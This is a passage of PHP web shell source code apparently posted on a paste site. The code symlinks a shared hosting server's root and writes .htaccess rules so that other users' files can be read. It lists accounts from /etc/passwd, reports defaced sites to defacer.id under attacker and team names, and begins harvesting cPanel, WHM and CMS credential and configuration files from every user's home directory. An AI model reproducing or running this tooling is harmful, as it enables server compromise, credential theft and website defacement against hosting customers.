- echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
- <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
- <td>".$user['name']."</td>
- <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
- flush();
- $dcount++;}}}
- echo "</table>";
- }else{
- $TEST=@file('/etc/passwd');
- if ($TEST){
- @mkdir("cox_sym",0777);
- @chdir("cox_sym");
- exe("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex --00--.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);
- @fclose($fp3);
- echo "
- <table align=center border=1><tr>
- <td align=center><font size=3>S. No.</font></td>
- <td align=center><font size=3>Users</font></td>
- <td align=center><font size=3>Symlink</font></td></tr>";
- $dcount = 1;
- $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
- while(!feof($file)){
- $s = fgets($file);
- $matches = array();
- $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
- $matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td align=center><font size=2>" . $dcount . "</td>
- <td align=center><font class=txt>" . $matches . "</td>";
- echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}fclose($file);
- echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
- Options Indexes FollowSymLinks
- DirectoryIndex --00--.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any
- ';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
- <table align=center border=1><tr>
- <td align=center><font size=3>ID</font></td>
- <td align=center><font size=3>Users</font></td>
- <td align=center><font size=3>Symlink</font></td></tr>";
- $temp = "";$val1 = 0;$val2 = 1000;
- for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
- if ($uid)$temp .= join(':',$uid)."\n";}
- echo '<br/>';$temp = trim($temp);$file5 =
- fopen("test.txt","w");
- fputs($file5,$temp);
- fclose($file5);$dcount = 1;$file =
- fopen("test.txt", "r") or exit("Unable to open file!");
- while(!feof($file)){$s = fgets($file);$matches = array();
- $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td align=center><font size=2>" . $dcount . "</td>
- <td align=center><font class=txt>" . $matches . "</td>";
- echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}
- fclose($file);
- echo "</table></div></center>";unlink("test.txt");
- } else
- echo "<center><font size=3>Cannot create Symlink</font></center>";
- }
- }
- }
- elseif($_GET['do'] == 'defacerid') {
- echo "<center><form method='post'>
- <u>Defacer</u>: <br>
- <input type='text' name='hekel' size='50' value='--00--'><br>
- <u>Team</u>: <br>
- <input type='text' name='tim' size='50' value='Indonesian Code Party'><br>
- <u>Domains</u>: <br>
- <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
- <input type='submit' name='go' value='Submit' style='width: 450px;'>
- </form>";
- $site = explode("\r\n", $_POST['sites']);
- $go = $_POST['go'];
- $hekel = $_POST['hekel'];
- $tim = $_POST['tim'];
- if($go) {
- foreach($site as $sites) {
- $zh = $sites;
- $form_url = "https://www.defacer.id/notify";
- $data_to_post = array();
- $data_to_post['attacker'] = "$hekel";
- $data_to_post['team'] = "$tim";
- $data_to_post['poc'] = 'SQL Injection';
- $data_to_post['url'] = "$zh";
- $curl = curl_init();
- curl_setopt($curl,CURLOPT_URL, $form_url);
- curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
- curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
- curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
- $result = curl_exec($curl);
- echo $result;
- curl_close($curl);
- echo "<br>";
- }
- }
- }
- elseif($_GET['do'] == 'config') {
- if($_POST){
- $passwd = $_POST['passwd'];
- mkdir("cox_config", 0777);
- $isi_htc = "Options all\nRequire None\nSatisfy Any";
- $htc = fopen("cox_config/.htaccess","w");
- fwrite($htc, $isi_htc);
- preg_match_all('/(.*?):x:/', $passwd, $user_config);
- foreach($user_config[1] as $user_cox) {
- $user_config_dir = "/home/$user_cox/public_html/";
- if(is_readable($user_config_dir)) {
- $grab_config = array(
- "/home/$user_cox/.my.cnf" => "cpanel",
- "/home/$user_cox/.accesshash" => "WHM-accesshash",
- "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
- "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
- "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
- "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
- "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
- "/home/$user_cox/public_html/forum/config.php" => "phpBB",
- "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
- "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
- "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
Add Comment
Please, Sign In to add comment